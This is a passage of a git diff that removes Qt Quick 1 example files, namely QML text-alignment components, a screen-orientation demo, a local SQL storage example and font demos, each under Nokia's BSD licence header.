0.3) - anchors.fill: parent - } - Text { - text: root.description[index] - color: Qt.rgba(1,1,1,1.0) - anchors.centerIn: parent - Rectangle { - z: -1 - color: Qt.rgba(0.3, 0, 0, 0.3) - anchors { fill: parent; margins: -3 } - } - } - Text { - color: "white" - text: shortText(parent.horizontalAlignment) - anchors { top: parent.top; right: parent.right; margins: 2 } - } - } - } - - Component { - id: italicRichTextComponent - Text { - width: 180 - text: "" + root.text[index] + "" - font.pixelSize: 24 - wrapMode: Text.WordWrap - horizontalAlignment: root.horizontalAlignment - LayoutMirroring.enabled: root.mirror - textFormat: Text.RichText - property variant backgroundColor: Qt.rgba(0.8, 0.2, 0.2, 0.3) - Rectangle { - z: -1 - color: parent.backgroundColor - anchors.fill: parent - } - Text { - text: root.description[index] - color: Qt.rgba(1,1,1,1.0) - anchors.centerIn: parent - Rectangle { - z: -1 - color: Qt.rgba(0.3, 0, 0, 0.3) - anchors { fill: parent; margins: -3 } - } - } - Text { - color: "white" - text: shortText(parent.horizontalAlignment) - anchors { top: parent.top; right: parent.right; margins: 2 } - } - } - } - - Component { - id: plainTextEdit - TextEdit { - width: 180 - text: root.text[index] - font.pixelSize: 24 - cursorVisible: true - wrapMode: TextEdit.WordWrap - horizontalAlignment: root.horizontalAlignment - LayoutMirroring.enabled: root.mirror - Rectangle { - z: -1 - color: Qt.rgba(0.5, 0.5, 0.2, 0.3) - anchors.fill: parent - } - Text { - text: root.description[index] - color: Qt.rgba(1,1,1,1.0) - anchors.centerIn: parent - Rectangle { - z: -1 - color: Qt.rgba(0.3, 0, 0, 0.3) - anchors { fill: parent; margins: -3 } - } - } - Text { - color: "white" - text: shortText(parent.horizontalAlignment) - anchors { top: parent.top; right: parent.right; margins: 2 } - } - } - } - - Component { - id: italicTextEdit - TextEdit { - width: 180 - text: "" + root.text[index] + "" - font.pixelSize: 24 - cursorVisible: true - wrapMode: TextEdit.WordWrap - horizontalAlignment: root.horizontalAlignment - LayoutMirroring.enabled: root.mirror - Rectangle { - z: -1 - color: Qt.rgba(0.5, 0.5, 0.2, 0.3) - anchors.fill: parent - } - Text { - text: root.description[index] - color: Qt.rgba(1,1,1,1.0) - anchors.centerIn: parent - Rectangle { - z: -1 - color: Qt.rgba(0.3, 0, 0, 0.3) - anchors { fill: parent; margins: -3 } - } - } - Text { - color: "white" - text: shortText(parent.horizontalAlignment) - anchors { top: parent.top; right: parent.right; margins: 2 } - } - } - } - - Component { - id: textInput - Item { - width: 180 - height: textInput.text.length > 20 ? 3*textInput.height : textInput.height - TextInput { - id: textInput - width: 180 - text: root.text[index] - font.pixelSize: 24 - cursorVisible: true - horizontalAlignment: root.horizontalAlignment - LayoutMirroring.enabled: root.mirror - Rectangle { - z: -1 - color: Qt.rgba(0.6, 0.4, 0.2, 0.3) - anchors.fill: parent - } - Text { - text: root.description[index] - color: Qt.rgba(1,1,1,1.0) - anchors.centerIn: parent - Rectangle { - z: -1 - color: Qt.rgba(0.3, 0, 0, 0.3) - anchors { fill: parent; margins: -3 } - } - } - Text { - color: "white" - text: shortText(parent.horizontalAlignment) - anchors { top: parent.top; right: parent.right; margins: 2 } - } - } - } - } -} - diff --git a/examples/declarative/qtquick1/righttoleft/textalignment/textalignment.qmlproject b/examples/declarative/qtquick1/righttoleft/textalignment/textalignment.qmlproject deleted file mode 100644 index e4b5061364..0000000000 --- a/examples/declarative/qtquick1/righttoleft/textalignment/textalignment.qmlproject +++ /dev/null @@ -1,16 +0,0 @@ -import QmlProject 1.1 - -Project { - mainFile: "textalignment.qml" - - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/screenorientation/Core/Bubble.qml b/examples/declarative/qtquick1/screenorientation/Core/Bubble.qml deleted file mode 100644 index 07ee38c92e..0000000000 --- a/examples/declarative/qtquick1/screenorientation/Core/Bubble.qml +++ /dev/null @@ -1,90 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Rectangle { - property bool rising: false - property bool verticalRise: true - property real xAttractor: 0 - property real yAttractor: 0 - - width: 5 + 10*Math.random() - height: width - radius: Math.floor(width/2)-1 - property real amountOfGray: Math.random() - color: Qt.rgba(amountOfGray,amountOfGray,amountOfGray,1) - - y: (rising && verticalRise) ? yAttractor : Math.random()*(main.inPortrait ? main.baseHeight : main.baseWidth) - x: (rising && !verticalRise) ? xAttractor : Math.random()*(main.inPortrait ? main.baseWidth : main.baseHeight) - Behavior on x { - id: xBehavior - SmoothedAnimation { - velocity: 100+Math.random()*100 - } - } - Behavior on y { - id: yBehavior - SmoothedAnimation { - velocity: 100+Math.random()*100 - } - } - Timer { - interval: 80+Math.random()*40 - repeat: true - running: true - onTriggered: { - if (rising) { - if (x > main.width || x < 0) { - xBehavior.enabled = false; - rising = false; - xBehavior.enabled = true; - rising = true; - } - if (y > main.height || y < 0) { - yBehavior.enabled = false; - rising = false; - yBehavior.enabled = true; - rising = true; - } - } - } - } -} diff --git a/examples/declarative/qtquick1/screenorientation/Core/Button.qml b/examples/declarative/qtquick1/screenorientation/Core/Button.qml deleted file mode 100644 index 523433660a..0000000000 --- a/examples/declarative/qtquick1/screenorientation/Core/Button.qml +++ /dev/null @@ -1,71 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 -Item { - id: button - signal clicked - property string text - property bool toggled: false - width: 100 - height: 60 - Rectangle { - anchors.fill: button - anchors.margins: mouseArea.pressed ? 3 : 2 - color: toggled ? (mouseArea.pressed ? "#442222" : "darkred") : (mouseArea.pressed ? "#333333": "black") - radius: mouseArea.pressed ? 8 : 6 - Text { - id: text - anchors.centerIn: parent - text: button.text - font.pixelSize: mouseArea.pressed ? 12 : 14 - color: "white" - horizontalAlignment: Text.AlignHCenter - verticalAlignment: Text.AlignVCenter - } - MouseArea { - id: mouseArea - anchors.fill: parent - onClicked: { - button.clicked() - } - } - } -} diff --git a/examples/declarative/qtquick1/screenorientation/Core/screenorientation.js b/examples/declarative/qtquick1/screenorientation/Core/screenorientation.js deleted file mode 100644 index cf999375e9..0000000000 --- a/examples/declarative/qtquick1/screenorientation/Core/screenorientation.js +++ /dev/null @@ -1,94 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -function printOrientation(orientation) { - var orientationString; - if (orientation == Orientation.Portrait) { - orientationString = "Portrait"; - } else if (orientation == Orientation.Landscape) { - orientationString = "Landscape"; - } else if (orientation == Orientation.PortraitInverted) { - orientationString = "Portrait inverted"; - } else if (orientation == Orientation.LandscapeInverted) { - orientationString = "Landscape inverted"; - } else { - orientationString = "UnknownOrientation"; - } - return orientationString; -} - -function getAngle(orientation) { - var angle; - if (orientation == Orientation.Portrait) { - angle = 0; - } else if (orientation == Orientation.Landscape) { - angle = 90; - } else if (orientation == Orientation.PortraitInverted) { - angle = 180; - } else if (orientation == Orientation.LandscapeInverted) { - angle = 270; - } else { - angle = 0; - } - return angle; -} - -function parallel(firstOrientation, secondOrientation) { - var difference = getAngle(firstOrientation) - getAngle(secondOrientation) - return difference % 180 == 0; -} - -function calculateGravityPoint(firstOrientation, secondOrientation) { - var position = Qt.point(0, 0); - var difference = getAngle(firstOrientation) - getAngle(secondOrientation) - if (difference < 0) { - difference = 360 + difference; - } - if (difference == 0) { - position = Qt.point(0, -10); - } else if (difference == 90) { - position = Qt.point(-10, 0); - } else if (difference == 180) { - position = Qt.point(0, 1000); - } else if (difference == 270) { - position = Qt.point(1000, 0); - } - return position; -} diff --git a/examples/declarative/qtquick1/screenorientation/screenorientation.qml b/examples/declarative/qtquick1/screenorientation/screenorientation.qml deleted file mode 100644 index 84c2788d65..0000000000 --- a/examples/declarative/qtquick1/screenorientation/screenorientation.qml +++ /dev/null @@ -1,201 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 -import "Core" -import "Core/screenorientation.js" as ScreenOrientation - -Rectangle { - id: window - width: 360 - height: 640 - color: "white" - - Rectangle { - id: main - clip: true - property variant selectedOrientation: Orientation.UnknownOrientation - property variant activeOrientation: selectedOrientation == Orientation.UnknownOrientation ? runtime.orientation : selectedOrientation - state: "orientation " + activeOrientation - property bool inPortrait: (activeOrientation == Orientation.Portrait || activeOrientation == Orientation.PortraitInverted); - - // rotation correction for landscape devices like N900 - property bool landscapeWindow: window.width > window.height - property variant rotationDelta: landscapeWindow ? -90 : 0 - rotation: rotationDelta - - // initial state is portrait - property real baseWidth: landscapeWindow ? window.height-10 : window.width-10 - property real baseHeight: landscapeWindow ? window.width-10 : window.height-10 - - width: baseWidth - height: baseHeight - anchors.centerIn: parent - - color: "black" - gradient: Gradient { - GradientStop { position: 0.0; color: Qt.rgba(0.5,0.5,0.5,0.5) } - GradientStop { position: 0.8; color: "black" } - GradientStop { position: 1.0; color: "black" } - } - Item { - id: bubbles - property bool rising: false - anchors.fill: parent - property variant gravityPoint: ScreenOrientation.calculateGravityPoint(main.activeOrientation, runtime.orientation) - Repeater { - model: 24 - Bubble { - rising: bubbles.rising - verticalRise: ScreenOrientation.parallel(main.activeOrientation, runtime.orientation) - xAttractor: parent.gravityPoint.x - yAttractor: parent.gravityPoint.y - } - } - Component.onCompleted: bubbles.rising = true; - } - - Column { - width: centeredText.width - anchors.verticalCenter: parent.verticalCenter - anchors.horizontalCenter: parent.horizontalCenter - anchors.verticalCenterOffset: 30 - Text { - text: "Orientation" - color: "white" - font.pixelSize: 22 - anchors.horizontalCenter: parent.horizontalCenter - } - Text { - id: centeredText - text: ScreenOrientation.printOrientation(main.activeOrientation) - color: "white" - font.pixelSize: 40 - anchors.horizontalCenter: parent.horizontalCenter - } - Text { - text: "sensor: " + ScreenOrientation.printOrientation(runtime.orientation) - color: "white" - font.pixelSize: 14 - anchors.horizontalCenter: parent.horizontalCenter - } - } - Flow { - anchors.top: parent.top - anchors.left: parent.left - anchors.right: parent.right - anchors.margins: 10 - spacing: 4 - Button { - width: main.inPortrait ? (parent.width-4)/2 : (parent.width-8)/3 - text: "Portrait" - onClicked: main.selectedOrientation = Orientation.Portrait - toggled: main.selectedOrientation == Orientation.Portrait - } - Button { - width: main.inPortrait ? (parent.width-4)/2 : (parent.width-8)/3 - text: "Portrait inverted" - onClicked: main.selectedOrientation = Orientation.PortraitInverted - toggled: main.selectedOrientation == Orientation.PortraitInverted - } - Button { - width: main.inPortrait ? (parent.width-4)/2 : (parent.width-8)/3 - text: "Landscape" - onClicked: main.selectedOrientation = Orientation.Landscape - toggled: main.selectedOrientation == Orientation.Landscape - } - Button { - width: main.inPortrait ? (parent.width-4)/2 : (parent.width-8)/3 - text: "Landscape inverted" - onClicked: main.selectedOrientation = Orientation.LandscapeInverted - toggled: main.selectedOrientation == Orientation.LandscapeInverted - } - Button { - width: main.inPortrait ? parent.width : 2*(parent.width-2)/3 - text: "From runtime.orientation" - onClicked: main.selectedOrientation = Orientation.UnknownOrientation - toggled: main.selectedOrientation == Orientation.UnknownOrientation - } - } - states: [ - State { - name: "orientation " + Orientation.Landscape - PropertyChanges { - target: main - rotation: ScreenOrientation.getAngle(Orientation.Landscape)+rotationDelta - width: baseHeight - height: baseWidth - } - }, - State { - name: "orientation " + Orientation.PortraitInverted - PropertyChanges { - target: main - rotation: ScreenOrientation.getAngle(Orientation.PortraitInverted)+rotationDelta - width: baseWidth - height: baseHeight - } - }, - State { - name: "orientation " + Orientation.LandscapeInverted - PropertyChanges { - target: main - rotation: ScreenOrientation.getAngle(Orientation.LandscapeInverted)+rotationDelta - width: baseHeight - height: baseWidth - } - } - ] - transitions: Transition { - ParallelAnimation { - RotationAnimation { - direction: RotationAnimation.Shortest - duration: 300 - easing.type: Easing.InOutQuint - } - NumberAnimation { - properties: "x,y,width,height" - duration: 300 - easing.type: Easing.InOutQuint - } - } - } - } -} diff --git a/examples/declarative/qtquick1/screenorientation/screenorientation.qmlproject b/examples/declarative/qtquick1/screenorientation/screenorientation.qmlproject deleted file mode 100644 index b0a7e3f83d..0000000000 --- a/examples/declarative/qtquick1/screenorientation/screenorientation.qmlproject +++ /dev/null @@ -1,16 +0,0 @@ -import QmlProject 1.1 - -Project { - mainFile: "screenorientation.qml" - - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/sqllocalstorage/hello.qml b/examples/declarative/qtquick1/sqllocalstorage/hello.qml deleted file mode 100644 index a6ecf5ba29..0000000000 --- a/examples/declarative/qtquick1/sqllocalstorage/hello.qml +++ /dev/null @@ -1,77 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -import QtQuick 1.0 - -Rectangle { - color: "white" - width: 200 - height: 100 - - Text { - text: "?" - anchors.horizontalCenter: parent.horizontalCenter - function findGreetings() { - var db = openDatabaseSync("QDeclarativeExampleDB", "1.0", "The Example QML SQL!", 1000000); - - db.transaction( - function(tx) { - // Create the database if it doesn't already exist - tx.executeSql('CREATE TABLE IF NOT EXISTS Greeting(salutation TEXT, salutee TEXT)'); - - // Add (another) greeting row - tx.executeSql('INSERT INTO Greeting VALUES(?, ?)', [ 'hello', 'world' ]); - - // Show all added greetings - var rs = tx.executeSql('SELECT * FROM Greeting'); - - var r = "" - for (var i = 0; i < rs.rows.length; i++) { - r += rs.rows.item(i).salutation + ", " + rs.rows.item(i).salutee + "\n" - } - text = r - } - ) - } - - Component.onCompleted: findGreetings() - } -} -//![0] diff --git a/examples/declarative/qtquick1/sqllocalstorage/sqllocalstorage.qmlproject b/examples/declarative/qtquick1/sqllocalstorage/sqllocalstorage.qmlproject deleted file mode 100644 index 61cbd30ae2..0000000000 --- a/examples/declarative/qtquick1/sqllocalstorage/sqllocalstorage.qmlproject +++ /dev/null @@ -1,16 +0,0 @@ -import QmlProject 1.1 - -Project { - mainFile: "hello.qml" - - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/text/fonts/availableFonts.qml b/examples/declarative/qtquick1/text/fonts/availableFonts.qml deleted file mode 100644 index 4a2c56e34e..0000000000 --- a/examples/declarative/qtquick1/text/fonts/availableFonts.qml +++ /dev/null @@ -1,57 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Rectangle { - width: 480; height: 640; color: "steelblue" - - ListView { - anchors.fill: parent; model: Qt.fontFamilies() - - delegate: Item { - height: 40; width: ListView.view.width - Text { - anchors.centerIn: parent - text: modelData; font.family: modelData; font.pixelSize: 24; color: "white" - } - } - } -} diff --git a/examples/declarative/qtquick1/text/fonts/banner.qml b/examples/declarative/qtquick1/text/fonts/banner.qml deleted file mode 100644 index a18c69bab0..0000000000 --- a/examples/declarative/qtquick1/text/fonts/banner.qml +++ /dev/null @@ -1,61 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Rectangle { - id: screen - - property int pixelSize: screen.height * 1.25 - property color textColor: "lightsteelblue" - property string text: "Hello world! " - - width: 640; height: 320 - color: "steelblue" - - Row { - y: -screen.height / 4.5 - - NumberAnimation on x { from: 0; to: -text.width; duration: 6000; loops: Animation.Infinite } - Text { id: text; font.pixelSize: screen.pixelSize; color: screen.textColor; text: screen.text } - Text { font.pixelSize: screen.pixelSize; color: screen.textColor; text: screen.text } - Text { font.pixelSize: screen.pixelSize; color: screen.textColor; text: screen.text } - } -} diff --git a/examples/declarative/qtquick1/text/fonts/fonts.qml b/examples/declarative/qtquick1/text/fonts/fonts.qml deleted file mode 100644 index a155f7abad..0000000000 --- a/examples/declarative/qtquick1/text/fonts/fonts.qml +++ /dev/null @@ -1,104 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE 